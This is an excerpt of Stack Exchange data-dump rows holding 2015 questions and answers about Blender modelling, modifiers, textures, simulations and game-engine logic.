  <row Id="33400" PostTypeId="1" CreationDate="2015-07-04T01:22:04.710" Score="4" ViewCount="841" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IZWg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was working on my character's hand when I realized half of the body was suddenly deleted. I am trying to recreate the other half, but it just won't mirror properly in the center. I tried moving the origin to the 3D cursor while it was completely centered, but the mirror modifier is still applied at an angle.&lt;/p&gt;&#xA;" OwnerUserId="15403" LastEditorUserId="92768" LastEditDate="2020-08-27T19:38:04.007" LastActivityDate="2020-08-27T19:38:04.007" Title="Mirror modifier. Mirrored half is not aligned, but rotated" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33401" PostTypeId="2" ParentId="9045" CreationDate="2015-07-04T01:28:43.567" Score="1" Body="&lt;p&gt;Good idea to use a RGB mix node as a workaround to keyframing RGB curve values. I wanted to make a sky get darker by keyframing the RGB curves, but ended up duplicating the sky (one light, one dark), and then transitioned from light to dark by keyframing the mix node. Worked great. &lt;/p&gt;&#xA;" OwnerUserId="15404" LastActivityDate="2015-07-04T01:28:43.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33403" PostTypeId="2" ParentId="33400" CreationDate="2015-07-04T02:07:54.150" Score="5" Body="&lt;p&gt;What you are seeing is caused by not applied transforms, specifically rotation. Since the mirror modifier mirrors along the local axis by default, it is not mirroring as desired. What you can do is &lt;strong&gt;apply the rotation&lt;/strong&gt; using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Rotation&lt;/em&gt;. This will set the local axis orientation the same as the global axis, and should solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kYEUm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="3401" LastEditDate="2015-07-04T02:23:14.240" LastActivityDate="2015-07-04T02:23:14.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33404" PostTypeId="2" ParentId="33398" CreationDate="2015-07-04T02:34:11.173" Score="2" Body="&lt;p&gt;You needed to apply the scale. Select the affected meshes and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt;. Now tab into editmode and recalculate all the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now need to reparent the meshes to the armature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/316/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=316&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-04T02:34:11.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33405" PostTypeId="1" CreationDate="2015-07-04T02:41:20.997" Score="1" ViewCount="474" Body="&lt;p&gt;I am trying to apply a wood grain type of effect to a model, I set up all the nodes and everything yet it won't show properly. How would I apply the texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRJoI.png&quot; alt=&quot;The texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1kIny.jpg&quot; alt=&quot;The model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UbGrB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/317/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=317&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-04T09:37:38.647" Title="Why is the wood grain texture I applied to my model not showing?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33406" PostTypeId="1" CreationDate="2015-07-04T03:27:46.573" Score="3" ViewCount="105" Body="&lt;p&gt;I have a character who's like a snail with legs in a hard metal ball. He's animated to run, stand still, and curl up inside the ball. For my game-play, I would like the ball to roll off like a completely normal rigid-body object. Unfortunately, it is parented to the armature. once the snail is curled, it remains where it is, no physics.&lt;/p&gt;&#xA;&lt;p&gt;How can I have my snail curl up into his ball and roll away? I feel like this could be done by ending the object and adding a rigid body ball, but then how do I get the snail back when it's time to uncurl? It present yet another problem if you parent the snails armature to the rigid body ball: where does the ball go when the snail unfolds? how can I guarantee that proper rotation will be kept on the snails body?&lt;/p&gt;&#xA;&lt;p&gt;I don't need a &amp;quot;solution&amp;quot;, but I do need more ideas on what to try in order for this to work. I've tried literally all day, spent every idea I’ve had, and now i just need more things to test before I give up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3yVLM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, heres my most recent test.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/318/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=318&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Space-bar switches mode. its pretty easy to see the problem.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-18T04:06:51.990" Title="How do I replace the player with a rigid body object? BGE" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;workflow&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33407" PostTypeId="1" CreationDate="2015-07-04T06:41:17.187" Score="3" ViewCount="2467" Body="&lt;p&gt;I'm trying to achive a fog effect with smoke simulation. But what I'm getting looks more like a flame and is moving too fast.&#xA;Does anyone know how to make it very slow and smooth - as a real fog would behave ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my example and my smoke settings: &lt;a href=&quot;https://drive.google.com/file/d/0BxWsWeQP5ugaeHQwQ3owa0t2cEk/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0BxWsWeQP5ugaeHQwQ3owa0t2cEk/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OvQBV.jpg&quot; alt=&quot;smoke settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15405" LastActivityDate="2016-12-28T15:22:41.370" Title="Smoke simulation - how to make a slow fog" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33408" PostTypeId="1" CreationDate="2015-07-04T07:49:36.997" Score="2" ViewCount="505" Body="&lt;p&gt;I need to get the &lt;strong&gt;Normal&lt;/strong&gt; orientation of an edge and apply it to a new object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['Edge']&#xA;mat = obj.matrix_world&#xA;# Decompose object in location, rotation, scale&#xA;loc_obj, rot_obj, scl_obj = mat.decompose()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method above give me the &lt;strong&gt;Global&lt;/strong&gt; orientation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iPBeM.png&quot; alt=&quot;Global&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a matrix containing the &lt;strong&gt;Normal&lt;/strong&gt; orientation in the &lt;code&gt;rot_obj&lt;/code&gt; component?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2XpN8.png&quot; alt=&quot;Normal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8112" LastActivityDate="2015-07-04T07:49:36.997" Title="How can I get the normal orientation of an edge" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33409" PostTypeId="2" ParentId="33405" CreationDate="2015-07-04T08:38:14.067" Score="1" Body="&lt;p&gt;To get your procedural texture to show up in the material, go into the textures context tab, and in the mapping panel, change &quot;co-ordinates&quot; to generated, then, in the influence panel, under &quot;diffuse&quot;, put a check beside color. Areas to be changed in orange boxes shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qx6vf.jpg&quot; alt=&quot;Wood desk&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-04T08:38:14.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33410" PostTypeId="1" AcceptedAnswerId="33412" CreationDate="2015-07-04T08:43:55.637" Score="3" ViewCount="758" Body="&lt;p&gt;I want to create a rotational solid. I've just created a bezier curve, and i saw many tutorials use the &quot;SPIN&quot; function in the left menu.&#xA;I tried looking at it but whitout success.&#xA;Where can i find it? I have to enable it in the add-ons menu?&#xA;I'm in edit mode with TOP ORTHO visual.&#xA;(Blender 2.75 RC1)&#xA;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="15406" LastActivityDate="2018-04-02T10:03:36.613" Title="Can't find Spin Menu to create a rotational object" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33412" PostTypeId="2" ParentId="33410" CreationDate="2015-07-04T09:13:08.537" Score="2" Body="&lt;p&gt;The Spin function works on vertex, while the bezier curves are based on control points. You could transform the curve in mesh (Alt C, mesh from curve) and then use the spin function, but you would loose the interactivity of the modelling process; so the best way, with bezier curves, is to use a screw modifier, instead.&#xA;Choose the right axis (in my example z axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWcfx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-05T07:39:20.690" LastActivityDate="2015-07-05T07:39:20.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33413" PostTypeId="2" ParentId="33399" CreationDate="2015-07-04T09:53:06.977" Score="2" Body="&lt;p&gt;Looking at your picture, I think you rather mean that you want to change on which side of the 'menu starter' widget the menu is displayed (left vs right)? A menu “direction” would rather refer to order in which its items are displayed (top to bottom or &lt;em&gt;vice-versa&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, side or direction, you cannot control this from py script, this is handled by internal UI code (based on several factors like type of menu, position, available area on top/bottom/left/right, etc.).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-04T09:53:06.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33415" PostTypeId="2" ParentId="32563" CreationDate="2015-07-04T11:46:37.423" Score="1" Body="&lt;p&gt;I finally fix the issue. Instead of using &quot;Always&quot; for the Atcion, I need to use the same Keyboard Sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Jcmv.png&quot; alt=&quot;Animation within a game using property&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="15051" LastActivityDate="2015-07-04T11:46:37.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33416" PostTypeId="1" CreationDate="2015-07-04T11:58:27.377" Score="1" ViewCount="1136" Body="&lt;p&gt;How can one object 'A' (activated in edit mode) be rotated to align it to the face of other object highlighted with pink colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b44q7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastActivityDate="2015-07-04T16:53:31.563" Title="Align one face to another face of object?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33417" PostTypeId="1" AcceptedAnswerId="33425" CreationDate="2015-07-04T12:36:47.480" Score="7" ViewCount="15863" Body="&lt;p&gt;A mask has been created:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VttZX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcut &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; will clear it.&#xA;Is there a button in the user interface? Or a menu entry?&lt;/p&gt;&#xA;" OwnerUserId="15265" LastEditorUserId="15265" LastEditDate="2015-07-04T17:42:46.860" LastActivityDate="2016-08-17T13:21:22.400" Title="Button or menu entry to clear the sculpting mask?" Tags="&lt;interface&gt;&lt;sculpting&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33418" PostTypeId="1" CreationDate="2015-07-04T13:11:03.253" Score="1" ViewCount="515" Body="&lt;p&gt;I broke down and installed the Laplacian Lightning addon, like suggested. But now I can't find where to trigger it, that is to say, actually apply it to an object like a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In specific, this plane:&lt;img src=&quot;https://i.stack.imgur.com/0eaG4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really have any ideas on where the button might be, but then again, I only got it yesterday. Can I have some help please?&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="241" LastEditDate="2015-07-05T15:02:54.067" LastActivityDate="2015-07-05T15:02:54.067" Title="Where are the Laplacian Lightning settings once the addon has been installed?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33420" PostTypeId="1" CreationDate="2015-07-04T14:35:25.250" Score="0" ViewCount="658" Body="&lt;p&gt;I've made a scene with Blender with a bumpy soil. So,to put some objects on my scene, I decided to put them in the air and let them fall, using a rigid body simulation. The problem is that when I press alt+A, my chair that I had put in the air &lt;strong&gt;goes right (first frame) and goes down for 3 frames and stops there.&lt;/strong&gt; About four objects of my scene do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many things and went on many forums and I didn't find an answer to my problem.&lt;/p&gt;&#xA;" OwnerUserId="15408" LastEditorUserId="3078" LastEditDate="2015-07-04T15:03:59.217" LastActivityDate="2015-07-04T16:01:02.313" Title="Why is my Rigid Body simulation giving weird results?" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33421" PostTypeId="1" AcceptedAnswerId="33453" CreationDate="2015-07-04T15:17:20.917" Score="1" ViewCount="159" Body="&lt;p&gt;In my game, I have this logic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bPGJu.png&quot; alt=&quot;logic editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The top actuator is the mouse looking thing, and the two hidden actuators are the same as Motion and Motion.001, just with different axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm facing forwards, it's fine - it moves at a uniform speed constantly, but when I face downwards, it stops moving all together, and if I look down slightly, it slows down. I know why this happens: It moves on the local axis so when I'm looking downwards, it tries to move into the floor but can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way (preferably without scripting - but if scripting is needed it's fine) to make it even when looking straight downwards to move at a constant speed forwards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my 3D view, if it helps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLqPl.png&quot; alt=&quot;3D view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-07-05T10:24:56.450" Title="BGE Consistent character speed" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33422" PostTypeId="1" CreationDate="2015-07-04T15:53:38.633" Score="6" ViewCount="737" Body="&lt;p&gt;I'm new to scripting in blender. Is there a way to proportional-edit a vertex through python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want translate a vertex along z, with all vertexes between that and local_Z=0 moving accordingly like they would in proportional editing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a graphical representation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0kxzw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2019-02-05T00:34:52.167" Title="Python: proportional editing vertex move" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;&lt;editing&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33423" PostTypeId="2" ParentId="33420" CreationDate="2015-07-04T16:01:02.313" Score="1" Body="&lt;p&gt;Make sure the objects are not scaled (Object&gt;Apply&gt;Scale shortcut &lt;code&gt;Ctrl+A&lt;/code&gt;) because that can cause issues. Very small objects (about 0.01 blender units) may require tweaked settings.&lt;/p&gt;&#xA;" OwnerUserId="13553" LastActivityDate="2015-07-04T16:01:02.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33424" PostTypeId="2" ParentId="33418" CreationDate="2015-07-04T16:28:09.843" Score="1" Body="&lt;p&gt;From the addon author's &lt;a href=&quot;http://funkboxing.com/wordpress/?p=301&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UI will be in &gt;View3D&gt;Tool Shelf&gt;Laplacian Lightning (object mode)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Make it appear by pressing &lt;kbd&gt;T&lt;/kbd&gt; (View&gt;Tool shelf) while in 3d view and scroll down to the menu in the Tools tab. It is visible only in Object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, make sure you downloaded the proper version that match the current Blender version. See &lt;a href=&quot;http://funkboxing.com/wordpress/?p=301&quot; rel=&quot;nofollow&quot;&gt;the website&lt;/a&gt; fore more details.&lt;/p&gt;&#xA;" OwnerUserId="13553" LastEditorUserId="241" LastEditDate="2015-07-05T15:00:48.340" LastActivityDate="2015-07-05T15:00:48.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33425" PostTypeId="2" ParentId="33417" CreationDate="2015-07-04T16:44:25.860" Score="6" Body="&lt;p&gt;AFAIK there is no proper button, the way to clear the mask without a keyboard shortcut is the menu entry Hide/Mask&gt;Clear Mask.&lt;/p&gt;&#xA;" OwnerUserId="13553" LastActivityDate="2015-07-04T16:44:25.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33426" PostTypeId="2" ParentId="33416" CreationDate="2015-07-04T16:53:31.563" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;In Object Mode select the plane that you want to align (the one that you want to change).&lt;/li&gt;&#xA;&lt;li&gt;Add the second plane to the selection so that it is the active object.&lt;/li&gt;&#xA;&lt;li&gt;In the 3D View Properties panel right click on one of the Rotation values and select 'Copy to Selected from' the pop-up menu and they will have matching rotation values.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think that there are several ways to do this depending on the situation. This method may not work for all scenarios but it will work for two planar objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1Yly.jpg&quot; alt=&quot;Align two planes which are separate objects&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15159" LastActivityDate="2015-07-04T16:53:31.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33428" PostTypeId="1" CreationDate="2015-07-04T18:58:38.030" Score="0" ViewCount="107" Body="&lt;p&gt;I am a total newcomer to using Blender, so I probably have something not adjusted correctly.  Here is my problem.  I will be editing videos using the video editor, and all of a sudden, the video will jump to playing 3-4X the normal rate.  I am not making changes to the frame rate or anything else.  In one instance, I watched a section of video and it was working fine, but then I got up and got someone to come look at it, and when I got back to the computer it was playing faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have yet to discover a way to fix this issue.  I will try adjusting frame rates and other items, but it still flies over the video in the preview window at probably somewhere around 100-120 fps.&lt;/p&gt;&#xA;" OwnerUserId="15411" LastActivityDate="2016-02-22T10:16:04.450" Title="Playback Rate Suddenly Changes" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33431" PostTypeId="1" CreationDate="2015-07-04T20:56:52.383" Score="0" ViewCount="728" Body="&lt;p&gt;I'm using an avatar and a skirt as .blend files and trying to create an animation as a cloth simulation (I followed this tutorial - &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-325838.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-325838.html&lt;/a&gt;) with them on Blender, in which the avatar puts her skirt on. Now I'm trying to export the animation as a Collada (.dae) file and use WebGL (three.js) to render the animation. But the Collada file seems to not be working, since the browser (Safari) does not display the animation. How can I export this cloth simulation to a Collada file properly?&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="599" LastEditDate="2015-07-04T22:07:58.210" LastActivityDate="2021-02-13T21:00:40.080" Title="Trying to export a cloth simulation to a Collada file" Tags="&lt;animation&gt;&lt;export&gt;&lt;cloth-simulation&gt;&lt;collada&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33432" PostTypeId="1" AcceptedAnswerId="33443" CreationDate="2015-07-04T21:35:10.630" Score="3" ViewCount="1067" Body="&lt;p&gt;I am making a shapekey of a model shrinkwrapped to another model. The shrinkmap modifier is too inaccurate to wrap to the model alone. So, my first step was to roughly hand position the geometry around of the first model around the second, then use shrinkwrap. The rough positioning was done as a shape key. I can then apply shrinkwrap, but its as a separate shapekey. The two do not work well together. I need them to be the same shapekey. How do I apply a modifier to an existing shapekey, or merge/combine/join the two shapekeys?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-07-05T07:47:06.943" Title="Apply a modifier as a shapekey into existing shapekey or merge shapekeys?" Tags="&lt;modifiers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33433" PostTypeId="1" CreationDate="2015-07-04T21:36:46.690" Score="1" ViewCount="2181" Body="&lt;p&gt;I want to keep the original mesh scale to 1.0, which means I can't scale the armature in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way I can scale in both edit mode proportionally?&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-07-04T21:36:46.690" Title="How to scale armature and mesh proportionally?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33434" PostTypeId="1" CreationDate="2015-07-04T22:29:42.113" Score="1" ViewCount="6085" Body="&lt;p&gt;I am relatively new to blender and am trying to wrap some text around a hair spray bottle that I made.  I have watched many tutorials on how to do it, but it never seems to work.  I am trying to wrap my text around the cylindrical part of the bottle with the curve modifier, but am running into troubles.  When I select the bottle with the selection within the curve modifier, I get a &quot;failed to set value&quot; message at the top of my screen.  And then, when I try to apply it, I get the message &quot;modifier is disabled, skipping applied.&quot;  Does any one know if there is a setting that I need to change to enable this curve modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of my project if it helps:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oJIF1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15414" LastActivityDate="2016-08-14T20:15:44.700" Title="How to add curve modifier to text?" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33435" PostTypeId="2" ParentId="33434" CreationDate="2015-07-04T22:43:45.343" Score="3" Body="&lt;p&gt;To use the &lt;strong&gt;&lt;em&gt;curve modifer&lt;/em&gt;&lt;/strong&gt; you need to have a &lt;strong&gt;curve object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwTza.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create one place the 3d cursor in the same place as your text's origin and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to Add-&gt;Curve&gt;Bezier Curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the text and on the curve modifier set the bezier courve as the object to control the distortion for the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1xVq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing the curve will allow you to distort and place the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJA7o.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-05T00:54:23.297" LastActivityDate="2015-07-05T00:54:23.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33436" PostTypeId="1" AcceptedAnswerId="33440" CreationDate="2015-07-05T03:30:40.717" Score="0" ViewCount="916" Body="&lt;p&gt;I would like to model a fantasy world that I made and I am wondering about the technical limits. The planet is about 3 times bigger than earth and has four continents, each the size of half the USA. I am not talking about making a sphere and texturing it, I mean like Google 3D where you can zoom all the way into a single house except more detailed. Would there be any technical problems? Would the program lag from having that many vertices? Should I just model each continent separately or even each region within the continent separately?&lt;/p&gt;&#xA;" OwnerUserId="15417" LastActivityDate="2015-07-05T06:50:38.280" Title="Creating an entire planet" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33437" PostTypeId="2" ParentId="32994" CreationDate="2015-07-05T04:29:02.100" Score="3" Body="&lt;p&gt;First of all make sure that the displace modifier's texture is mapped to the correct coordinates for your object (usually UV coordinates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on to the settings on the display modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displace modifier will deform the the object based on the light/dark values of the image indeed. Using the default values, it will raise up the white parts (255) of the texture to 0.5 units and sink the dark values (0) to -0.5 and keep the mid-grey values at 0 in the Z axis. To alter the scale, change the &lt;strong&gt;Strength&lt;/strong&gt; value to meet your needs. To make the dark values fall at 0 on the Z axis put the midlevel at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MEO74.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkYCo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWpo0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8tt2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Vj5J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-05T18:53:55.647" LastActivityDate="2015-07-05T18:53:55.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33438" PostTypeId="1" CreationDate="2015-07-05T04:47:11.290" Score="1" ViewCount="1039" Body="&lt;p&gt;I'm a absolute beginner to Blender and I don't know how to move the vertices. I only have a one-click mouse. I tried to see others comment but no use. The &lt;kbd&gt;B&lt;/kbd&gt; key doesn't work for my computer. &lt;/p&gt;&#xA;" OwnerUserId="15419" LastEditorUserId="599" LastEditDate="2015-07-05T07:19:21.960" LastActivityDate="2015-07-06T18:05:50.883" Title="Why can't I move vertices?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
